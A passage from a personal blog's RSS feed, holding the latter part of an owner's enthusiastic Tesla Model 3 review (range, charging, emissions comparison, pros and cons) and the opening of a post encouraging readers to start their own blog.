&lt;h3 id=&quot;what-kind-of-range-does-it-have&quot;&gt;What kind of range does it have?&lt;/h3&gt;

&lt;p&gt;When I first took delivery of my car, it was rated at &lt;strong&gt;310 miles&lt;/strong&gt; of range.&lt;/p&gt;

&lt;p&gt;With that said, three years into ownership and after a full charge, my car normally reports that I have about 290 miles range. This &lt;em&gt;may&lt;/em&gt; be due in part to &lt;a href=&quot;https://electrek.co/2020/06/06/tesla-battery-degradation-replacement/&quot;&gt;battery degradation&lt;/a&gt;, but I know from speaking with Tesla engineers that it is more likely due (in large part) to the way Tesla calculates range. Essentially, the car will determine range based off my normal efficiency, i.e. the way I typically drive. In other words, since I tend to drive somewhat, &lt;em&gt;spirited&lt;/em&gt;, the car adjusts my range calculation to take into account the lower efficiency. &lt;em&gt;Neat&lt;/em&gt;!&lt;/p&gt;

&lt;h3 id=&quot;how-do-i-get-into-or-out-of-the-car&quot;&gt;How do I get into or out of the car?&lt;/h3&gt;

&lt;p&gt;This isn’t a question I get, but it always seems to be a challenge for people when first learning how to get in and out of a Model 3.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=icNLL8j4J_k&quot;&gt;Unlocking/Getting into a Model 3&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=DMzejxP_9x4&quot;&gt;Getting out of a Model 3&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;will-i-get-stuck&quot;&gt;Will I get stuck?&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Range_anxiety&quot;&gt;Range anxiety&lt;/a&gt; and uncertainty around how and where to charge is by far the biggest fear amongst prospective EV purchasers. And though Teslas and similar EVs have really good range (250+ miles), driving long distances is, in reality, not as simple as just getting in your car and going. There is &lt;em&gt;some&lt;/em&gt; level of planning that should go into your drive. In a Tesla, this can be calculated for you by the onboard computer. It will plan your route and give you all the places you should stop to charge. It bases this on a number of factors including distance, elevation gain, temperature and more. What’s important to take away is that you really need to &lt;a href=&quot;https://www.tesla.com/trips&quot;&gt;plan your route&lt;/a&gt; and understand where you would like to stop. When driving along major throughways, you can generally count on there being charging &lt;a href=&quot;https://www.tesla.com/findus?v=2&amp;amp;bounds=63.232619366399604%2C-40.511719937500004%2C5.176252916331986%2C-158.0214855625&amp;amp;zoom=4&amp;amp;filters=store%2Cservice%2Csupercharger%2Cdestination%20charger%2Cbodyshop&quot;&gt;every 50 miles or so&lt;/a&gt; though. In this case, less planning may be required.&lt;/p&gt;

&lt;h3 id=&quot;evs-arent-any-more-green-than-gas-cars&quot;&gt;EVs aren’t any more green than gas cars.&lt;/h3&gt;

&lt;p&gt;A common argument amongst EV-haters is that EVs are no more eco-friendly than gas cars because the way the electricity that is used to charge the car is sourced is not-in-fact “green”. &lt;strong&gt;This is not accurate&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A Quick Study&lt;/strong&gt;: Using the EPA’s &lt;a href=&quot;https://www.epa.gov/egrid/power-profiler&quot;&gt;Power Profiler&lt;/a&gt; I can get an idea of my carbon emissions based on the number of kWh I consume in a year in my region (SRVC). Estimating 15000 miles of driving distance with my car that has about 300 miles range, that comes to about 50 complete zero-to-full fill-ups. With a 75 kWh battery pack, this means a total of 3750 kWh of electricity used for charging in a year or 312.50 kWh/month.&lt;/p&gt;

&lt;p&gt;At the bottom of the Power Profiler there is an Emissions Estimate function which can take a monthly kWh value and calculate an annual emissions rate based on your particular eGRID subregion (mine is SRVC - SERC Virginia/Carolina). With a usage of approx. 313 kWh/month, my annual estimated emissions is 2,928 pounds CO2.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;OK&lt;/em&gt;, so now let’s use the &lt;a href=&quot;https://calculator.carbonfootprint.com/calculator.aspx?tab=4&quot;&gt;carbonfootprint.com calculator&lt;/a&gt; to determine the annual CO2 emissions for the &lt;a href=&quot;https://www.toyota.com/corolla/&quot;&gt;Toyota Corolla&lt;/a&gt;. Using the calculator, I plug in 15k miles, the 2020 Toyota Corolla CVT 2WD (which according to this calculator has an efficiency score of 165.363) and I end up with an annual emissions value of 3.99 metric tons or about 8,000 pounds CO2.&lt;/p&gt;

&lt;p&gt;So the Corolla produces about 2.66x more carbon emissions than the Tesla. &lt;em&gt;Not good&lt;/em&gt;!&lt;/p&gt;

&lt;h1 id=&quot;positives&quot;&gt;Positives&lt;/h1&gt;

&lt;p&gt;As I’ve said, I love my Tesla, and there are &lt;em&gt;so&lt;/em&gt; many reasons why. I’ve tried to compile these reasons here.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;#how-do-i-charge-it&quot;&gt;Charging at home&lt;/a&gt;&lt;/strong&gt; : Never having to go to a gas station is really one of my favorite perks of the car. You get to &lt;a href=&quot;https://www.teslarati.com/tesla-ev-memes-win-skeptics-gas-crisis/&quot;&gt;laugh smugly&lt;/a&gt; as you drive past the sad folk putting stinky dinosaur juice into their cars. Plus, you’ll always have a “full tank”, or as much juice as you need (as long as you remember to plug it in) thanks to the ability to charge at home.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Electricity is cheaper than gas&lt;/strong&gt; : Mile for mile, electricity is on average &lt;a href=&quot;#how-much-does-it-cost-to-charge&quot;&gt;much cheaper than gas&lt;/a&gt;. &lt;em&gt;Oh&lt;/em&gt;, and there are &lt;a href=&quot;https://www.tesla.com/destination-charging&quot;&gt;many places&lt;/a&gt; where you can charge completely for free - try getting free gas anywhere! Features like &lt;em&gt;scheduled departure&lt;/em&gt; and &lt;em&gt;scheduled charging&lt;/em&gt; can help get the most cost-efficient home charging as well.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;It’s fast&lt;/strong&gt; : My car (Model 3 Dual Motor) goes 0-60 in about 4 seconds. Even after three years, I still find that punch to be pretty exhilarating. That speed isn’t just for fun though, being able to quickly position yourself is a highly practical feature, especially when merging on highways.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Very bright headlights&lt;/strong&gt; : I don’t like driving at night. The headlights on my car makes it a lot more bearable.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;The glass roof is cool&lt;/strong&gt; : The glass roof not only looks great but gives the inside of the car a very open feeling. I also love to watch planes as they fly overhead or look at the towering trees/buildings when I am in a wooded or city area. (&lt;em&gt;All of course while I’m not driving&lt;/em&gt;).&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Frunk space&lt;/strong&gt; : Where a gas car normally has an engine, a Tesla has a storage area known as the “Frunk”! Who wouldn’t appreciate having a little additional storage space?&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Handles wind well&lt;/strong&gt; : What I mean here is that even in heavy cross-winds, this car feels incredibly stable. The weight of the car, low center of gravity and the (short) height of the car are primary contributors.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;The display&lt;/strong&gt; : The 15” screen is not only hyper-versatile, it also looks really really cool. Navigation is huge, gaming and other entertainment looks great, it’s just a really nice experience. The screen takes the place of the traditional instrument cluster. What this means is that your speed gauge is on the screen which is to the right of you rather than directly behind the wheel. Some people fear that this will inhibit them from being able to see their speed as easily. I find that it is just as easy if not easier to see it in large print on the huge screen.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Purchase experience&lt;/strong&gt; : &lt;em&gt;No contest here&lt;/em&gt;. Buying a car with a few clicks online is infinitely better than going into a dealership. You can even use &lt;a href=&quot;https://9to5mac.com/2018/03/19/tesla-apple-pay-model-3-reservations/&quot;&gt;Apple Pay&lt;/a&gt;!&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Eco-friendly&lt;/strong&gt; : As discussed in &lt;a href=&quot;#evs-arent-any-more-green-than-gas-cars&quot;&gt;the section above&lt;/a&gt;, this car will produce less carbon emissions than a traditional ICE car. What’s not to like about that? Especially considering the &lt;a href=&quot;https://www.washingtonpost.com/weather/2021/07/14/western-heat-wave-rockies/&quot;&gt;insane heat wave&lt;/a&gt; the US has been experiencing.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;#what-kind-of-range-does-it-have&quot;&gt;Range is superb&lt;/a&gt;&lt;/strong&gt; : At 300+ miles, my car has more than enough range for any trip I have thrown at it. Sure, it’s not as much raw range as some equivalent gas cars, but I &lt;em&gt;never&lt;/em&gt; drive 300+ miles in one sitting, so getting to stop and charge up is always a nice respite from sitting in the car.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;The Supercharger network is great&lt;/strong&gt; : &lt;a href=&quot;https://www.tesla.com/supercharger&quot;&gt;Superchargers&lt;/a&gt; are &lt;a href=&quot;https://www.tesla.com/findus?v=2&amp;amp;bounds=63.232619366399604%2C-40.511719937500004%2C5.176252916331986%2C-158.0214855625&amp;amp;zoom=4&amp;amp;filters=store%2Cservice%2Csupercharger%2Cdestination%20charger%2Cbodyshop&quot;&gt;everywhere&lt;/a&gt;! They are typically found in shopping centers so you have access to food and more while charging. Supercharging is cheaper than gas and in my experience (driving on the East Coast), I have never had to wait for a spot.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Low maintenance&lt;/strong&gt; : Tesla’s &lt;a href=&quot;https://www.tesla.com/support/car-maintenance&quot;&gt;guidance on maintenance&lt;/a&gt; is very simple. From this guide, there really isn’t that much that goes into taking care of the car! In the three years I’ve owned the car, I’ve only taken it into the dealership once (a few days after taking delivery to fix a few small aesthetic things). What’s even better is that when you do have an issue with the car, it’s highly likely that Tesla will be able to send a &lt;a href=&quot;https://www.tesla.com/support/mobile-service&quot;&gt;Mobile Service&lt;/a&gt; vehicle to you which can resolve your maintenance issue without you ever having to leave your house. &lt;em&gt;Awesome&lt;/em&gt;!&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Regenerative braking&lt;/strong&gt; : Arguably the biggest difference in driving an EV versus driving a traditional ICE car is the &lt;a href=&quot;https://driving.ca/column/how-it-works/how-it-works-regenerative-braking&quot;&gt;regenerative braking&lt;/a&gt;. Once you’re used to it though, I think it offers a superior and far less exhausting driving experience. Essentially, regen-braking allows you to never really have to take your foot completely off the accelerator and put it on your brake. Over the course of a long drive, your feet and legs are less tired without the constant moving and placing.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Very safe &amp;amp; secure vehicle&lt;/strong&gt; : All Teslas are extremely safe cars. &lt;a href=&quot;https://www.nhtsa.gov/ratings&quot;&gt;NHTSA&lt;/a&gt; consistently scores Teslas at 5-stars across the board in their crash-safety tests. Tesla scores so well for a few reasons. First, Teslas are very hard to roll - their low center-of-gravity thanks to the very heavy battery pack in the floor of the car helps contribute to this. Second, with no gas motor, there is less risk of fire/explosion in the event of a crash, plus, the lack of the motor in the front allows the front to be a crumple zone. Finally, Teslas come with a lot of cool, &lt;a href=&quot;https://www.tesla.com/support/car-safety-security-features&quot;&gt;advanced security features&lt;/a&gt; standard. Things like the Dashcam, cabin camera, security alarm, pin to drive, sentry mode, intrusion sensors, auto lane adjust, obstacle aware braking, etc…&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Onboard Dashcam&lt;/strong&gt; : Though i’ve just mentioned the Dashcam, it’s worth mentioning again. Having a built in Dashcam which captures not only the view out of the front of the car but also the sides is really cool and very useful in the event of an accident. What’s better, you can view Dashcam footage right inside the car on the huge screen. &lt;em&gt;Amazing&lt;/em&gt;!&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Control with your phone&lt;/strong&gt; : Being able to control the car with my phone is great. I hate carrying keys and now I don’t have to! I can control climate, charging, trunk/frunk, windows, and even request service all from my &lt;a href=&quot;https://apps.apple.com/us/app/tesla/id582007913&quot;&gt;Tesla app&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Make’s fart noises&lt;/strong&gt; : There’s a built-in &lt;a href=&quot;https://electrek.co/2021/01/19/how-to-make-your-tesla-fart/&quot;&gt;whoopie cushion&lt;/a&gt;. Hilarious.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Gaming&lt;/strong&gt; : &lt;a href=&quot;https://www.tesla.com/event/experience-tesla-arcade&quot;&gt;Tesla Arcade&lt;/a&gt; includes a number of games including Polytopia, Cat Quest, Fallout Shelter, Stardew Valley, CupHead, BeachBuggy Racing 2, backgammon, solitaire, chess and a bunch of Atari-classics including 2048, Asteroids, Centipede, Super Breakout, Lunar Lander, Missile Command, Millipede, Tempest and Gravitar. &lt;em&gt;Phew!&lt;/em&gt; These games are playable via the touch screen, the steering wheel and even via a classic game controller such as an Xbox or Playstation controller. &lt;em&gt;So fun&lt;/em&gt;!&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Entertainment&lt;/strong&gt; : As long as you have &lt;a href=&quot;https://www.tesla.com/support/connectivity&quot;&gt;Premium Connectivity&lt;/a&gt;, you can enjoy a number of other entertainment options in the car. Netflix, Twitch, Hulu and Youtube are some of the available options at this time. This isn’t a feature I use much, but when I do need it, it makes sitting in the car really great.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;OTA updates&lt;/strong&gt; : A lot of the software-enabled features I have mentioned in this section are things that the car did not originally ship with. Rather, they are features that have been added to the car, &lt;em&gt;all for free&lt;/em&gt;. This includes everything from Dashcam to Sentry Mode to Tesla Arcade to the entertainment features. My car has even had improved acceleration pushed to it via software based optimizations. Truly incredible.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;negatives&quot;&gt;Negatives&lt;/h1&gt;

&lt;p&gt;Though I love my car, it isn’t perfect. There are a number of things I wish we’re different or that are just bad. I’ve listed these below.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;AC unit is a little weak&lt;/strong&gt; : I find that the onboard Tesla AC unit is a bit weak. It doesn’t ever seem to get as cold or as hot as I’d like it to and it doesn’t seem to cool or heat very quickly. Compared to my old &lt;a href=&quot;https://www.toyota.com/corolla/&quot;&gt;Toyota Corolla&lt;/a&gt;, it definitely falls short. You don’t really want to lose to a Toyota Corolla.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Not a hatchback&lt;/strong&gt; : My biggest gripe with this car after 3 years is the trunk. It’s actually quite roomy but really, I wish it was a hatchback. The &lt;a href=&quot;https://www.tesla.com/modely&quot;&gt;Model Y&lt;/a&gt; has this feature and it’s much better.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;EV tax credit has expired&lt;/strong&gt; : The $7500 &lt;a href=&quot;https://www.fueleconomy.gov/feg/taxevb.shtml&quot;&gt;federal tax credit&lt;/a&gt; for EVs has &lt;a href=&quot;https://www.taxwarriors.com/blog/electric-vehicle-tax-credit-explained-tesla-no-longer-eligible&quot;&gt;run out&lt;/a&gt; for Tesla. At the time I bought my car, I actually got the full amount. But for those looking to purchase a Tesla these days, you won’t get any help from the federal government. With that said, there are other &lt;a href=&quot;https://www.tesla.com/support/incentives&quot;&gt;state/local incentives&lt;/a&gt; to consider.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Charging on 120v is slow&lt;/strong&gt; : Though charging on 120v is really cool and a very useful feature, it doesn’t change the fact that it is &lt;a href=&quot;#how-fast-does-it-charge&quot;&gt;very slow&lt;/a&gt;. If you only have an over-night to charge or need to charge up quickly, you’re going to be disappointed relying on 120v.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Self-park does not come standard&lt;/strong&gt; : The self-parking feature is bundled with the exorbitantly expensive &lt;a href=&quot;https://www.tesla.com/autopilot&quot;&gt;FSD package&lt;/a&gt;. I think this is ridiculous. Self-parking has been a feature of far less advanced cars for a long time. I really wish this came standard or was bundled with some other sort of much cheaper premium upgrade.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Horn is difficult to trigger&lt;/strong&gt; : Maybe i’m just too gentle with my car, but I always find when I try to honk I’m either not pressing the right spot, or I am not smashing the wheel hard enough. I wish there was just a button.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Engaging windshield wipers is not ideal&lt;/strong&gt; : A couple issues with the windshield wipers. First, the rain-sensing auto-wipers do not work very well. I find that they either don’t wipe fast enough, fail to wipe at all or wipe when it’s not really needed. Tesla is apparently attacking this problem with… a &lt;a href=&quot;https://tesla-info.com/blog/tesla-deep-rain.php&quot;&gt;neural net solution&lt;/a&gt;? Second, engaging the wipers is a little clunky and non-ideal. You can click the button at the tip of the left wheel stalk to invoke a single wipe, at which point the modal for the wiper speed is brought up on-screen. From there, you must look down and press the speed you’d like the wipers to be at. This isn’t great since typically when you are needing the wipers, especially at a higher speed, it is raining and not the best time to take your eyes of the road.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Turning radius isn’t great&lt;/strong&gt; : Compared to my old &lt;a href=&quot;https://www.toyota.com/corolla/&quot;&gt;Toyota Corolla&lt;/a&gt;, I find that the Model 3 has a really bad turning radius.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Tires wear quickly&lt;/strong&gt; : You’ll find that &lt;em&gt;spirited driving&lt;/em&gt; is a common occurrence with a Tesla. This tends to wear the tires down quicker. This means more $$ for new tires.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;People will try to race you&lt;/strong&gt; : It could be that I’m just hyper-sensitive to people accelerating off the line, but I always get the sense that people want to race me. The good news is, I always win =).&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Premium connectivity costs extra&lt;/strong&gt; : If you want live traffic, video/music streaming or internet browsing capability, you’ll need to subscribe to Tesla’s &lt;a href=&quot;https://www.tesla.com/support/connectivity&quot;&gt;Premium Connectivity&lt;/a&gt; at $9.99/month. This isn’t ideal, but i rarely use any of those features outside of live traffic.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;other-neutral-stuff&quot;&gt;Other, Neutral Stuff&lt;/h1&gt;

&lt;p&gt;Beyond the good and the bad, there are the things that just, &lt;em&gt;are&lt;/em&gt;. I list these “neutral” items below.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Warranty&lt;/strong&gt; : Tesla has what I consider to be a pretty good warranty. The warranty is described as follows… Basic Vehicle - 4 years or 50,000 mi, whichever comes first + Battery &amp;amp; Drive Unit - 8 years or 120,000 mi, whichever comes first.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;wrap-up&quot;&gt;Wrap Up&lt;/h1&gt;

&lt;p&gt;It’s amazing to see Elon’s &lt;a href=&quot;https://www.tesla.com/blog/secret-tesla-motors-master-plan-just-between-you-and-me&quot;&gt;master plan&lt;/a&gt; for Tesla come to life, I really do believe what he has created is the &lt;a href=&quot;https://twitter.com/elonmusk/status/1068215834877685760&quot;&gt;most fun you could possibly have in a car&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Alright!&lt;/em&gt; That’s the end of the “Revue”. I thank you for reading and I’d love to hear your feedback. Are you planning on ordering a Tesla? If so, please use my &lt;a href=&quot;https://ts.la/michael65140&quot;&gt;referral code&lt;/a&gt;! Agree or disagree with any of the points I made? &lt;a href=&quot;https://shellsharks.com/contact&quot;&gt;Let me know about it&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;Finally, I highly recommend you check out &lt;a href=&quot;https://theoatmeal.com/comics/tesla_model_s&quot;&gt;this amazing comic/review&lt;/a&gt; by &lt;a href=&quot;https://theoatmeal.com/&quot;&gt;The Oatmeal&lt;/a&gt;. It does a better job than I ever could of summing up the real magic of owning a Tesla.&lt;/p&gt;
</description>
        <pubDate>Thu, 15 Jul 2021 10:50:00 -0400</pubDate>
        <link>https://shellsharks.com/tesla</link>
        <guid isPermaLink="true">https://shellsharks.com/tesla</guid>
        
        <category>life</category>
        
        <category>technology</category>
        
        <category>tesla</category>
        
        <category>review</category>
        
        
        <category>life</category>
        
        <category>technology</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Why I Blog. You Should Too!</title>
        <shark:summary><p><strong>You should start a blog</strong>. If you disagree, I certainly understand the hesitancy. I was once like you! The thought of building + maintaining a website, or “blogging” might evoke worrisome thoughts. But fear not! I can help <a href="#what-not-to-worry-about">allay these fears</a>. Once you overcome that initial anxiety, you can settle in and reap the <a href="#so-why-blog">many benefits</a> of having a website. Trust me, it will be time well spent. Just <a href="#with-all-that-said">be careful</a> though! You may find yourself completely obsessed with your site before long!</p>
</shark:summary>
        <description>&lt;p&gt;&lt;strong&gt;You should start a blog&lt;/strong&gt;. If you disagree, I certainly understand the hesitancy. I was once like you! The thought of building + maintaining a website, or “blogging” might evoke worrisome thoughts. But fear not! I can help &lt;a href=&quot;#what-not-to-worry-about&quot;&gt;allay these fears&lt;/a&gt;. Once you overcome that initial anxiety, you can settle in and reap the &lt;a href=&quot;#so-why-blog&quot;&gt;many benefits&lt;/a&gt; of having a website. Trust me, it will be time well spent. Just &lt;a href=&quot;#with-all-that-said&quot;&gt;be careful&lt;/a&gt; though! You may find yourself completely obsessed with your site before long!&lt;/p&gt;

&lt;h1 id=&quot;historical-context&quot;&gt;Historical Context&lt;/h1&gt;

&lt;p&gt;I started the &lt;span class=&quot;shellsharks-com&quot;&gt;&lt;a href=&quot;https://shellsharks.com/&quot;&gt;shellsharks&lt;/a&gt;&lt;/span&gt; site in &lt;a href=&quot;https://shellsharks.com/notes/2024/05/30/5-years&quot;&gt;mid-2019&lt;/a&gt;. At that time, I had but two ideas for topics to write about—a “&lt;a href=&quot;https://shellsharks.com/getting-into-information-security#title&quot;&gt;Getting Into Infosec&lt;/a&gt;” guide and the idea to catalog all of the &lt;a href=&quot;https://shellsharks.com/designer-vulnerabilities#title&quot;&gt;“named” vulnerabilities&lt;/a&gt; (e.g. “&lt;a href=&quot;https://heartbleed.com&quot;&gt;Heartbleed&lt;/a&gt;”). Prior to 2019, I tried at least two other times to blog or otherwise “write”—both of which fizzled out before I even got to a second post. At the time, I blamed this on the &lt;a href=&quot;#what-not-to-worry-about&quot;&gt;usual reasons&lt;/a&gt;—not enough time, didn’t know what to write about, couldn’t find my “niche”, etc… What I failed to realize then are &lt;a href=&quot;#so-why-blog&quot;&gt;a number of things&lt;/a&gt; I fully appreciate today, and I’d like to share this understanding with you. Let me start with what &lt;em&gt;not&lt;/em&gt; to &lt;a href=&quot;#what-not-to-worry-about&quot;&gt;worry&lt;/a&gt; about when starting a blog…&lt;/p&gt;

&lt;h1 id=&quot;what-not-to-worry-about&quot;&gt;What Not To Worry About&lt;/h1&gt;

&lt;p&gt;In this section is a list of common concerns &amp;amp; fears people have when faced with the thought of starting a blog. Many of these slowed me down &lt;a href=&quot;#historical-context&quot;&gt;in the beginning&lt;/a&gt; but I am here to tell you, &lt;em&gt;don’t worry about it&lt;/em&gt;!&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;I don’t know how to host a blog&lt;/strong&gt; : This is an easy fix and it is only a quick &lt;a href=&quot;https://www.google.com/?q=how+to+host+a+blog&quot;&gt;web search&lt;/a&gt; away! You have plenty of &lt;a href=&quot;https://shellsharks.com/indieweb#hosting&quot;&gt;options&lt;/a&gt; too. There are a lot of fully-managed hosting platforms, some where you have only partial control of the overall stack, and then of course fully self-hosted options. Just pick the one you feel most comfortable with and get started!&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;I don’t know which blog hosting provider is best&lt;/strong&gt; : &lt;em&gt;OK&lt;/em&gt;, so you’re &lt;em&gt;still&lt;/em&gt; stuck on which &lt;a href=&quot;https://shellsharks.com/indieweb#hosting&quot;&gt;hosting provider&lt;/a&gt; to go with. As long as your selection allows you to &lt;strong&gt;BYO domain name&lt;/strong&gt; and where your &lt;strong&gt;data/writing is portable&lt;/strong&gt;, you should have no problems migrating to a new hosting provider at any time, for any reason. So just pick one that meets those two criteria and get moving! Rather than worrying about your tech stack (all of which is almost always interchangeable), you can focus on what really matters—&lt;em&gt;writing&lt;/em&gt; and &lt;em&gt;site design&lt;/em&gt;. I argue for site design being important here because afterall, your website is your new &lt;a href=&quot;https://shellsharks.com/welcome-home&quot;&gt;digital home&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;No one will read my blog&lt;/strong&gt; : Will you become a well-known blogger? Statistically speaking, probably not. Will &lt;em&gt;someone&lt;/em&gt; read what you put on the Internet? Statistically speaking, &lt;em&gt;absolutely&lt;/em&gt;! The Internet is vast, and even the most remote corners receive &lt;em&gt;some&lt;/em&gt; sort of traffic (not that you should care about pageviews or analytics at all). But you don’t &lt;em&gt;have&lt;/em&gt; to write for anyone else y’know. &lt;em&gt;Write for &lt;a href=&quot;https://shellsharks.com/notes/2024/04/17/having-a-website-is-about-you&quot;&gt;you&lt;/a&gt;&lt;/em&gt;! Your experiences matter and documenting them for your own historical purposes and reference is more than sufficient reason to have your own site. I had similar concerns when I started my site but I have found, over time, that people &lt;em&gt;are&lt;/em&gt; interested. People will &lt;em&gt;inevitably&lt;/em&gt; find and &lt;a href=&quot;https://chronosaur.us/ill-read-it/&quot;&gt;read&lt;/a&gt; what you &lt;a href=&quot;https://shellsharks.com/notes/2024/03/13/you-have-something-to-say-someone-will-listen&quot;&gt;have to say&lt;/a&gt;! People will even eventually comment or give you feedback. That feedback may also even be &lt;a href=&quot;https://shellsharks.com/kindness&quot;&gt;positive&lt;/a&gt;! Whether people read it or not though is inconsequential. There are &lt;a href=&quot;#so-why-blog&quot;&gt;plenty of benefits&lt;/a&gt; regardless.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;I don’t have anything to write about&lt;/strong&gt; : You write about what you are interested in, working on, or generally doing. Unless you are interested in / working on / doing &lt;em&gt;NOTHING&lt;/em&gt;, you will always &lt;a href=&quot;https://shellsharks.com/just-put-it-on-your-blog&quot;&gt;have material&lt;/a&gt;!&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;What I publish will be bad or uninteresting&lt;/strong&gt; : This could only possibly be true if you write about something that &lt;em&gt;literally&lt;/em&gt; no one else is interested in or that no one else is working on something related to. In a world with close to 5 &lt;em&gt;billion&lt;/em&gt; Internet users, I doubt you are writing about anything that is &lt;em&gt;THAT&lt;/em&gt; niche. In other words, there are like-minded folks out there. They want to read what you &lt;a href=&quot;https://shellsharks.com/notes/2024/03/13/you-have-something-to-say-someone-will-listen&quot;&gt;have to say&lt;/a&gt;. If you’re worried you aren’t a strong writer, don’t worry, you can get better. Everyone starts somewhere. Say what you want to say in the &lt;a href=&quot;https://shellsharks.com/writing-mannerisms&quot;&gt;way&lt;/a&gt; you say it.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;I have nothing novel to contribute&lt;/strong&gt; : I write &lt;em&gt;mostly&lt;/em&gt; about &lt;a href=&quot;https://shellsharks.com/tags?tag=infosec&quot;&gt;infosec topics&lt;/a&gt;. You know who else does that? Lots of people. &lt;em&gt;Like&lt;/em&gt;, &lt;a href=&quot;https://shellsharks.com/infosec-blogs#title&quot;&gt;so many people&lt;/a&gt;. It didn’t deter me, nor did it deter all of &lt;em&gt;those&lt;/em&gt; awesome creators. It shouldn’t deter you either. Even if it’s been said before, it hasn’t been said in the &lt;a href=&quot;https://shellsharks.com/writing-mannerisms&quot;&gt;way&lt;/a&gt; you’re going to say it. People benefit from different perspectives on the same thing. People also benefit from the &lt;em&gt;same&lt;/em&gt; perspective on the same thing. Not every creator has the same &lt;a href=&quot;https://shellsharks.com/notes/2024/01/23/how-the-internet-discovers-my-site&quot;&gt;audience&lt;/a&gt; either. You may reach someone that no one else has yet, or offer something a &lt;a href=&quot;https://shellsharks.com/manual-of-style&quot;&gt;little different&lt;/a&gt;, or extra, that helps someone where nothing else had.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
